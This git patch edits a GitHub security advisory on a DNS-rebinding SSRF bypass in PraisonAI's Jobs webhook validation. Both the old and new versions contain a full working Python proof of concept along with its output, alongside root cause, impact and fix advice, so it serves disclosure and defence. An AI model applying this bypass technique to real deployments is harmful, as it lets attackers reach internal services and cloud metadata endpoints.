From 4a9a58be29c14c89e9d8e32d54c33756bcb1131e Mon Sep 17 00:00:00 2001 From: Rex Liu Date: Tue, 11 Aug 2026 16:38:58 -0700 Subject: [PATCH] sync ghsa-rjvw-7vvw-549v details --- .../2026/06/GHSA-rjvw-7vvw-549v/GHSA-rjvw-7vvw-549v.json | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/advisories/github-reviewed/2026/06/GHSA-rjvw-7vvw-549v/GHSA-rjvw-7vvw-549v.json b/advisories/github-reviewed/2026/06/GHSA-rjvw-7vvw-549v/GHSA-rjvw-7vvw-549v.json index a20b0c4e7bca..ac86a07ddf23 100644 --- a/advisories/github-reviewed/2026/06/GHSA-rjvw-7vvw-549v/GHSA-rjvw-7vvw-549v.json +++ b/advisories/github-reviewed/2026/06/GHSA-rjvw-7vvw-549v/GHSA-rjvw-7vvw-549v.json @@ -6,8 +6,8 @@ "aliases": [ "CVE-2026-57114" ], - "summary": "PraisonAI: Jobs webhook SSRF protection bypass via DNS rebinding", - "details": "# Jobs webhook SSRF protection bypass via DNS rebinding\n\n## Summary\n\nPraisonAI's Async Jobs API validates `webhook_url` when a job request is parsed\nand again when the internal `Job` object is constructed. That validation blocks\ndirect loopback/private targets, but it is not bound to the later network\nrequest. When a job completes, `_send_webhook()` passes the original hostname to\n`httpx.AsyncClient.post()` with no send-time validation, IP pinning, or guarded\ntransport.\n\nAn attacker-controlled hostname can therefore resolve to a public IP during\nPydantic validation and later resolve to loopback/private/cloud-metadata\ninfrastructure during webhook delivery. This bypasses the intended SSRF guard in\ncurrent supported releases.\n\nThis appears to be an incomplete fix / patch bypass for `GHSA-8frj-8q3m-xhgm`\n(\"Server-Side Request Forgery via Unvalidated webhook_url in Jobs API\"). I defer\nto maintainers on whether this should be a new advisory/CVE or an amendment to\nthe prior advisory, but current supported releases still appear affected.\n\n## Affected Component\n\nPackage:\n\n```text\npraisonai\n```\n\nFiles:\n\n```text\nsrc/praisonai/praisonai/jobs/models.py\nsrc/praisonai/praisonai/jobs/executor.py\nsrc/praisonai/praisonai/jobs/router.py\n```\n\nRelevant code paths:\n\n```text\nJobSubmitRequest.validate_webhook_url()\nJob.validate_webhook_url()\nJobExecutor._send_webhook()\nPOST /api/v1/runs\n```\n\n## Affected Versions\n\nValidated affected:\n\n- `v4.5.126` (`f00763937bf7f4d091e84533692fc0576fca9b99`);\n- `v4.5.128` (`b4e3a8a8`);\n- `v4.6.56` (`d3c4a2af`);\n- `v4.6.57` (`e90d92231853161ad931f3498da57651a9f8b528`);\n- current `main` (`2f9677abb2ea68eab864ee8b6a828fd0141612e1`,\n `v4.6.57-4-g2f9677ab`).\n\nSuggested affected range for maintainer confirmation:\n\n```text\n>= 4.5.126, <= 4.6.57\n```\n\nNo patched version is known to me at submission time.\n\n`v4.5.124` and earlier are covered by the older unvalidated-webhook advisory.\nThis report is scoped to patched-era releases where direct loopback/private\nwebhook URLs are rejected but DNS rebinding still bypasses the guard.\n\n## Root Cause\n\nCurrent validation is a time-of-check/time-of-use boundary:\n\n1. `JobSubmitRequest.webhook_url` is validated with `urlparse()` and\n `socket.gethostbyname()`.\n2. The resolved address is rejected when it is private, loopback, link-local, or\n multicast.\n3. The original URL string is stored on the `Job`.\n4. After job completion, `_send_webhook()` creates a fresh `httpx.AsyncClient`\n and POSTs to the original URL.\n5. `httpx` resolves the hostname again. There is no revalidation of the address\n that is actually connected to.\n\nThe first DNS answer is therefore trusted for a later, independent DNS lookup.\nAn attacker who controls DNS for the webhook hostname can return a public\naddress during validation and an internal address during delivery.\n\n## Local Reproduction\n\nThe PoV is local-only. It starts a loopback HTTP server, monkeypatches resolver\nbehavior in-process, and uses the real PraisonAI `Job` validator plus\n`JobExecutor._send_webhook()` sender.\n\nRun from a PraisonAI checkout:\n\n```fish\nenv PYTHONPATH=src/praisonai python3 poc_jobs_webhook_dns_rebinding_ssrf.py\n```\n\nObserved output on current `main`:\n\n```text\nDIRECT_LOOPBACK_BLOCKED: {\"Job\": true, \"JobSubmitRequest\": true}\nACCEPTED_WEBHOOK_URL: http://rebind.test:/hook\nINTERNAL_SERVER_HIT: true\nINTERNAL_REQUEST_HOST: rebind.test:\nINTERNAL_REQUEST_PATH: /hook\nWEBHOOK_PAYLOAD_KEYS: completed_at,duration_seconds,error,job_id,result,status\nWEBHOOK_PAYLOAD_STATUS: succeeded\nPRAI-CAND-005 CONFIRMED: Jobs webhook validation is bypassed by DNS rebinding\n```\n\nThe direct control proves that the current guard is meant to reject loopback\nwebhook destinations. The rebind case proves the same blocked destination class\nis reached when the hostname changes between validation and delivery.\n\n## Full Local PoV Script\n\n```python\n#!/usr/bin/env python3\n\"\"\"Local PoV for PraisonAI Jobs webhook DNS-rebinding SSRF.\n\nThe PoV uses only loopback services. It models an attacker-controlled hostname\nthat resolves to a public IP during PraisonAI's Pydantic validation, then\nresolves to loopback when the async webhook sender later opens the connection.\n\"\"\"\n\nfrom __future__ import annotations\n\nimport asyncio\nimport json\nimport queue\nimport socket\nimport threading\nfrom http.server import BaseHTTPRequestHandler, HTTPServer\nfrom typing import Any\n\nfrom praisonai.jobs.executor import JobExecutor\nfrom praisonai.jobs.models import Job, JobSubmitRequest\n\n\nATTACKER_HOST = \"rebind.test\"\nPUBLIC_IP = \"93.184.216.34\"\n\n\nclass InternalHandler(BaseHTTPRequestHandler):\n def do_POST(self) -> None: # noqa: N802\n length = int(self.headers.get(\"content-length\", \"0\"))\n body = self.rfile.read(length)\n self.server.received.put( # type: ignore[attr-defined]\n {\n \"path\": self.path,\n \"host\": self.headers.get(\"host\"),\n \"body\": body.decode(\"utf-8\", \"replace\"),\n }\n )\n self.send_response(204)\n self.end_headers()\n\n def log_message(self, *_args: Any) -> None:\n return\n\n\ndef assert_direct_loopback_blocked(port: int) -> None:\n blocked = {}\n direct_url = f\"http://127.0.0.1:{port}/hook\"\n for model in (JobSubmitRequest, Job):\n try:\n model(prompt=\"x\", webhook_url=direct_url)\n blocked[model.__name__] = False\n except Exception:\n blocked[model.__name__] = True\n\n print(\"DIRECT_LOOPBACK_BLOCKED:\", json.dumps(blocked, sort_keys=True))\n if not all(blocked.values()):\n raise SystemExit(\"control failed: direct loopback webhook URL was accepted\")\n\n\ndef build_validated_job(port: int) -> Job:\n original_gethostbyname = socket.gethostbyname\n\n def validation_gethostbyname(host: str) -> str:\n if host == ATTACKER_HOST:\n return PUBLIC_IP\n return original_gethostbyname(host)\n\n socket.gethostbyname = validation_gethostbyname\n try:\n webhook_url = f\"http://{ATTACKER_HOST}:{port}/hook\"\n request = JobSubmitRequest(prompt=\"x\", webhook_url=webhook_url)\n job = Job(prompt=request.prompt, webhook_url=request.webhook_url)\n job.succeed({\"pov\": \"job result sent to webhook\"})\n return job\n finally:\n socket.gethostbyname = original_gethostbyname\n\n\nasync def send_after_rebind(job: Job, port: int) -> None:\n original_getaddrinfo = socket.getaddrinfo\n\n def send_getaddrinfo(host: Any, port_arg: int, *args: Any, **kwargs: Any):\n normalized_host = host.decode() if isinstance(host, bytes) else host\n if normalized_host == ATTACKER_HOST:\n return [\n (\n socket.AF_INET,\n socket.SOCK_STREAM,\n socket.IPPROTO_TCP,\n \"\",\n (\"127.0.0.1\", port_arg),\n )\n ]\n return original_getaddrinfo(host, port_arg, *args, **kwargs)\n\n socket.getaddrinfo = send_getaddrinfo\n try:\n await JobExecutor(store=None)._send_webhook(job) # type: ignore[arg-type]\n finally:\n socket.getaddrinfo = original_getaddrinfo\n\n\ndef main() -> int:\n received: queue.Queue[dict[str, str]] = queue.Queue()\n server = HTTPServer((\"127.0.0.1\", 0), InternalHandler)\n server.received = received # type: ignore[attr-defined]\n port = int(server.server_port)\n thread = threading.Thread(target=server.handle_request, daemon=True)\n thread.start()\n\n try:\n assert_direct_loopback_blocked(port)\n job = build_validated_job(port)\n print(\"ACCEPTED_WEBHOOK_URL:\", job.webhook_url)\n asyncio.run(send_after_rebind(job, port))\n finally:\n server.server_close()\n\n try:\n hit = received.get_nowait()\n except queue.Empty:\n raise SystemExit(\"bypass failed: loopback-only webhook receiver was not hit\")\n\n payload = json.loads(hit[\"body\"])\n print(\"INTERNAL_SERVER_HIT: true\")\n print(\"INTERNAL_REQUEST_HOST:\", hit[\"host\"])\n print(\"INTERNAL_REQUEST_PATH:\", hit[\"path\"])\n print(\"WEBHOOK_PAYLOAD_KEYS:\", \",\".join(sorted(payload)))\n print(\"WEBHOOK_PAYLOAD_STATUS:\", payload.get(\"status\"))\n\n if hit[\"host\"] != f\"{ATTACKER_HOST}:{port}\":\n raise SystemExit(\"unexpected host header\")\n if payload.get(\"status\") != \"succeeded\":\n raise SystemExit(\"unexpected webhook payload\")\n\n print(\"PRAI-CAND-005 CONFIRMED: Jobs webhook validation is bypassed by DNS rebinding\")\n return 0\n\n\nif __name__ == \"__main__\":\n raise SystemExit(main())\n```\n\n## Intended-Behavior Validation\n\nPraisonAI's Async Jobs documentation describes `webhook_url` as the completion\ncallback URL for submitted jobs. The deploy API docs list webhooks as a key\nfeature and state that the async jobs API does not require authentication by\ndefault, with authentication left to server deployment configuration.\n\nThe code also proves the intended safety boundary: both `JobSubmitRequest` and\n`Job` currently reject direct `http://127.0.0.1:/...` webhook URLs. The\nPoV does not rely on local webhooks being intentionally allowed; it demonstrates\nthat a blocked local target becomes reachable after the validation-to-use DNS\ntransition.\n\n## Impact\n\nIf an attacker can submit jobs to a PraisonAI Jobs API deployment and choose\n`webhook_url`, they can cause the PraisonAI host to send POST requests to\nloopback, private-network, or cloud metadata endpoints reachable from that host.\n\nPractical impact includes:\n\n- blind interaction with internal HTTP services;\n- internal host/port reachability probing via timing and webhook error behavior;\n- POSTing attacker-controlled job result payloads to internal APIs with weak\n request validation;\n- cloud metadata interaction where metadata endpoints accept the request method\n and the deployment network permits access.\n\nThis report does not claim response-body disclosure, RCE, or live credential\ntheft without deployment-specific internal-service behavior. The SSRF primitive\nis still security-relevant because webhook delivery crosses a network boundary\nthat current code explicitly tries to block.\n\n## Severity\n\nSuggested severity: High for network-reachable Jobs API deployments where job\nsubmission is unauthenticated or attacker-accessible.\n\nIf maintainers model the Jobs API as loopback-only or authenticated in the\naffected deployment, severity may reasonably be reduced. I kept the primary\nrating aligned with the prior Jobs webhook SSRF advisory because PraisonAI's\npublic docs state that authentication is not required by default and the same\nwebhook sink remains reachable.\n\n## Suggested Fix\n\n- Move SSRF validation to the send path immediately before opening the outbound\n connection.\n- Resolve all candidate addresses with `socket.getaddrinfo()`, not only the\n first IPv4 answer from `gethostbyname()`.\n- Reject loopback, private, link-local, multicast, reserved, unspecified, and\n cloud metadata address ranges for every resolved address.\n- Pin the validated address to the actual connection, or use a guarded HTTP\n transport/proxy that validates the destination after DNS resolution and before\n connect.\n- Consider making Jobs API authentication mandatory by default for non-loopback\n binds, or require explicit opt-in to unauthenticated job submission.\n- Add regression tests for direct loopback rejection, DNS rebind from public to\n loopback, IPv6/private AAAA records with public A records, and allowed public\n webhooks.", + "summary": "Jobs Webhook SSRF Protection Bypass via DNS Rebinding", + "details": "## Summary\n\nPraisonAI's Async Jobs API validates `webhook_url` when a job request is parsed and again when the internal `Job` object is constructed. That validation blocks direct loopback/private targets, but it is not bound to the later network request. When a job completes, `_send_webhook()` passes the original hostname to `httpx.AsyncClient.post()` with no send-time validation, IP pinning, or guarded transport.\n\nAn attacker-controlled hostname can therefore resolve to a public IP during Pydantic validation and later resolve to loopback/private/cloud-metadata infrastructure during webhook delivery. This bypasses the intended SSRF guard in current supported releases.\n\nThis appears to be an incomplete fix / patch bypass for `GHSA-8frj-8q3m-xhgm` (\"Server-Side Request Forgery via Unvalidated webhook_url in Jobs API\"). I defer to maintainers on whether this should be a new advisory/CVE or an amendment to the prior advisory, but current supported releases still appear affected.\n\n## Technical Details\n\nCurrent validation is a time-of-check/time-of-use boundary:\n\n1. `JobSubmitRequest.webhook_url` is validated with `urlparse()` and `socket.gethostbyname()`.\n2. The resolved address is rejected when it is private, loopback, link-local, or multicast.\n3. The original URL string is stored on the `Job`.\n4. After job completion, `_send_webhook()` creates a fresh `httpx.AsyncClient` and POSTs to the original URL.\n5. `httpx` resolves the hostname again. There is no revalidation of the address that is actually connected to.\n\nThe first DNS answer is therefore trusted for a later, independent DNS lookup. An attacker who controls DNS for the webhook hostname can return a public address during validation and an internal address during delivery.\n\n## PoV\n\nThe vulnerable primitive is exercised by the local reproduction in the PoC section below.\n\n## PoC\n\nThe PoV is local-only. It starts a loopback HTTP server, monkeypatches resolver behavior in-process, and uses the real PraisonAI `Job` validator plus `JobExecutor._send_webhook()` sender.\n\nRun from a PraisonAI checkout:\n\n```fish\nenv PYTHONPATH=src/praisonai python3 poc_jobs_webhook_dns_rebinding_ssrf.py\n```\n\nObserved output on current `main`:\n\n```text\nDIRECT_LOOPBACK_BLOCKED: {\"Job\": true, \"JobSubmitRequest\": true}\nACCEPTED_WEBHOOK_URL: http://rebind.test:/hook\nINTERNAL_SERVER_HIT: true\nINTERNAL_REQUEST_HOST: rebind.test:\nINTERNAL_REQUEST_PATH: /hook\nWEBHOOK_PAYLOAD_KEYS: completed_at,duration_seconds,error,job_id,result,status\nWEBHOOK_PAYLOAD_STATUS: succeeded\npoc CONFIRMED: Jobs webhook validation is bypassed by DNS rebinding\n```\n\nThe direct control proves that the current guard is meant to reject loopback webhook destinations. The rebind case proves the same blocked destination class is reached when the hostname changes between validation and delivery.\n\n## Impact\n\nIf an attacker can submit jobs to a PraisonAI Jobs API deployment and choose `webhook_url`, they can cause the PraisonAI host to send POST requests to loopback, private-network, or cloud metadata endpoints reachable from that host.\n\nPractical impact includes:\n\n- blind interaction with internal HTTP services;\n- internal host/port reachability probing via timing and webhook error behavior;\n- POSTing attacker-controlled job result payloads to internal APIs with weak request validation;\n- cloud metadata interaction where metadata endpoints accept the request method and the deployment network permits access.\n\nThis report does not claim response-body disclosure, RCE, or live credential theft without deployment-specific internal-service behavior. The SSRF primitive is still security-relevant because webhook delivery crosses a network boundary that current code explicitly tries to block.\n\n### Severity\n\nSuggested severity: High for network-reachable Jobs API deployments where job submission is unauthenticated or attacker-accessible.\n\nSuggested CVSS v3.1:\n\n```text\nCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N\n```\n\nSuggested score: `7.2`.\n\nPrimary CWE: `CWE-918` Server-Side Request Forgery.\n\nSecondary CWE: `CWE-367` Time-of-check Time-of-use Race Condition.\n\nIf maintainers model the Jobs API as loopback-only or authenticated in the affected deployment, severity may reasonably be reduced. I kept the primary rating aligned with the prior Jobs webhook SSRF advisory because PraisonAI's public docs state that authentication is not required by default and the same webhook sink remains reachable.\n\n## Suggested Fix\n\n- Move SSRF validation to the send path immediately before opening the outbound connection.\n- Resolve all candidate addresses with `socket.getaddrinfo()`, not only the first IPv4 answer from `gethostbyname()`.\n- Reject loopback, private, link-local, multicast, reserved, unspecified, and cloud metadata address ranges for every resolved address.\n- Pin the validated address to the actual connection, or use a guarded HTTP transport/proxy that validates the destination after DNS resolution and before connect.\n- Consider making Jobs API authentication mandatory by default for non-loopback binds, or require explicit opt-in to unauthenticated job submission.\n- Add regression tests for direct loopback rejection, DNS rebind from public to loopback, IPv6/private AAAA records with public A records, and allowed public webhooks.\n\n## Affected Package/Versions\n\nPackage:\n\n```text\npraisonai\n```\n\nFiles:\n\n```text\nsrc/praisonai/praisonai/jobs/models.py\nsrc/praisonai/praisonai/jobs/executor.py\nsrc/praisonai/praisonai/jobs/router.py\n```\n\nRelevant code paths:\n\n```text\nJobSubmitRequest.validate_webhook_url()\nJob.validate_webhook_url()\nJobExecutor._send_webhook()\nPOST /api/v1/runs\n```\n\nValidated affected:\n\n- `v4.5.126` (`f00763937bf7f4d091e84533692fc0576fca9b99`);\n- `v4.5.128` (`b4e3a8a8`);\n- `v4.6.56` (`d3c4a2af`);\n- `v4.6.57` (`e90d92231853161ad931f3498da57651a9f8b528`);\n- current `main` (`2f9677abb2ea68eab864ee8b6a828fd0141612e1`, `v4.6.57-4-g2f9677ab`).\n\nSuggested affected range for maintainer confirmation:\n\n```text\n>= 4.5.126, <= 4.6.57\n```\n\nNo patched version is known at report time.\n\n`v4.5.124` and earlier are covered by the older unvalidated-webhook advisory. This report is scoped to patched-era releases where direct loopback/private webhook URLs are rejected but DNS rebinding still bypasses the guard.\n\n## Advisory History\n\nChecked visible PraisonAI advisories and prior submissions for the same root cause, affected entrypoint, and exploit preconditions. No exact duplicate is identified in this report text. Adjacent advisories, where relevant, are listed in References or discussed above.\n\n## References\n\n- Prior Jobs webhook advisory: \n- PraisonAI Async Jobs docs: \n- PraisonAI CLI Async Jobs docs: github.com/en/code-security/how-tos/report-and-fix-vulnerabilities/report-privately>\n- Adjacent DNS rebinding SSRF advisory: \n\n## Appendix: Full PoV/PoC Scripts\n\n```python\n#!/usr/bin/env python3\n\"\"\"PoV for PraisonAI Jobs webhook DNS-rebinding SSRF.\n\nThe PoV uses only loopback services. It models an attacker-controlled hostname\nthat resolves to a public IP during PraisonAI's Pydantic validation, then\nresolves to loopback when the async webhook sender later opens the connection.\n\"\"\"\n\nfrom __future__ import annotations\n\nimport asyncio\nimport json\nimport queue\nimport socket\nimport threading\nfrom http.server import BaseHTTPRequestHandler, HTTPServer\nfrom typing import Any\n\nfrom praisonai.jobs.executor import JobExecutor\nfrom praisonai.jobs.models import Job, JobSubmitRequest\n\nATTACKER_HOST = \"rebind.test\"\nPUBLIC_IP = \"93.184.216.34\"\n\nclass InternalHandler(BaseHTTPRequestHandler):\n def do_POST(self) -> None: # noqa: N802\n length = int(self.headers.get(\"content-length\", \"0\"))\n body = self.rfile.read(length)\n self.server.received.put( # type: ignore[attr-defined]\n {\n \"path\": self.path,\n \"host\": self.headers.get(\"host\"),\n \"body\": body.decode(\"utf-8\", \"replace\"),\n }\n )\n self.send_response(204)\n self.end_headers()\n\n def log_message(self, *_args: Any) -> None:\n return\n\ndef assert_direct_loopback_blocked(port: int) -> None:\n blocked = {}\n direct_url = f\"http://127.0.0.1:{port}/hook\"\n for model in (JobSubmitRequest, Job):\n try:\n model(prompt=\"x\", webhook_url=direct_url)\n blocked[model.__name__] = False\n except Exception:\n blocked[model.__name__] = True\n\n print(\"DIRECT_LOOPBACK_BLOCKED:\", json.dumps(blocked, sort_keys=True))\n if not all(blocked.values()):\n raise SystemExit(\"control failed: direct loopback webhook URL was accepted\")\n\ndef build_validated_job(port: int) -> Job:\n original_gethostbyname = socket.gethostbyname\n\n def validation_gethostbyname(host: str) -> str:\n if host == ATTACKER_HOST:\n return PUBLIC_IP\n return original_gethostbyname(host)\n\n socket.gethostbyname = validation_gethostbyname\n try:\n webhook_url = f\"http://{ATTACKER_HOST}:{port}/hook\"\n request = JobSubmitRequest(prompt=\"x\", webhook_url=webhook_url)\n job = Job(prompt=request.prompt, webhook_url=request.webhook_url)\n job.succeed({\"pov\": \"job result sent to webhook\"})\n return job\n finally:\n socket.gethostbyname = original_gethostbyname\n\nasync def send_after_rebind(job: Job, port: int) -> None:\n original_getaddrinfo = socket.getaddrinfo\n\n def send_getaddrinfo(host: Any, port_arg: int, *args: Any, **kwargs: Any):\n normalized_host = host.decode() if isinstance(host, bytes) else host\n if normalized_host == ATTACKER_HOST:\n return [\n (\n socket.AF_INET,\n socket.SOCK_STREAM,\n socket.IPPROTO_TCP,\n \"\",\n (\"127.0.0.1\", port_arg),\n )\n ]\n return original_getaddrinfo(host, port_arg, *args, **kwargs)\n\n socket.getaddrinfo = send_getaddrinfo\n try:\n await JobExecutor(store=None)._send_webhook(job) # type: ignore[arg-type]\n finally:\n socket.getaddrinfo = original_getaddrinfo\n\ndef main() -> int:\n received: queue.Queue[dict[str, str]] = queue.Queue()\n server = HTTPServer((\"127.0.0.1\", 0), InternalHandler)\n server.received = received # type: ignore[attr-defined]\n port = int(server.server_port)\n thread = threading.Thread(target=server.handle_request, daemon=True)\n thread.start()\n\n try:\n assert_direct_loopback_blocked(port)\n job = build_validated_job(port)\n print(\"ACCEPTED_WEBHOOK_URL:\", job.webhook_url)\n asyncio.run(send_after_rebind(job, port))\n finally:\n server.server_close()\n\n try:\n hit = received.get_nowait()\n except queue.Empty:\n raise SystemExit(\"bypass failed: loopback-only webhook receiver was not hit\")\n\n payload = json.loads(hit[\"body\"])\n print(\"INTERNAL_SERVER_HIT: true\")\n print(\"INTERNAL_REQUEST_HOST:\", hit[\"host\"])\n print(\"INTERNAL_REQUEST_PATH:\", hit[\"path\"])\n print(\"WEBHOOK_PAYLOAD_KEYS:\", \",\".join(sorted(payload)))\n print(\"WEBHOOK_PAYLOAD_STATUS:\", payload.get(\"status\"))\n\n if hit[\"host\"] != f\"{ATTACKER_HOST}:{port}\":\n raise SystemExit(\"unexpected host header\")\n if payload.get(\"status\") != \"succeeded\":\n raise SystemExit(\"unexpected webhook payload\")\n\n print(\"poc CONFIRMED: Jobs webhook validation is bypassed by DNS rebinding\")\n return 0\n\nif __name__ == \"__main__\":\n raise SystemExit(main())\n```\n\n## Appendix: Intended-Behavior Validation\n\nPraisonAI's Async Jobs documentation describes `webhook_url` as the completion callback URL for submitted jobs. The deploy API docs list webhooks as a key feature and state that the async jobs API does not require authentication by default, with authentication left to server deployment configuration.\n\nThe code also proves the intended safety boundary: both `JobSubmitRequest` and `Job` currently reject direct `http://127.0.0.1:/...` webhook URLs. The PoV does not rely on local webhooks being intentionally allowed; it demonstrates that a blocked local target becomes reachable after the validation-to-use DNS transition.\n", "severity": [ { "type": "CVSS_V3", @@ -58,4 +58,4 @@ "github_reviewed_at": "2026-06-18T13:57:20Z", "nvd_published_at": null } -} \ No newline at end of file +}